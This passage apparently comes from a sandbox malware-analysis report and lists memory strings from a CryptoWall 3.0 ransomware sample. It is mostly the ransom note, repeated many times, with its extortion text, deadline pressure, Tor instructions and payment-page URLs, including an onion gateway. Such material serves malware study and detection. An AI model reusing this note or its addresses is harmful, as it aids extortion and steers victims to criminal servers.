successful installa
Source: restore_files_gpmus.txt347.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.txt78.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.txt340.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.txt105.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.html150.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.html168.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.txt393.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.txt198.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.html88.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.html145.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.html343.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.txt269.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.html10.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.html142.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.html74.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.txt92.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.html160.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.html85.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.html319.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.txt72.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.html284.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install 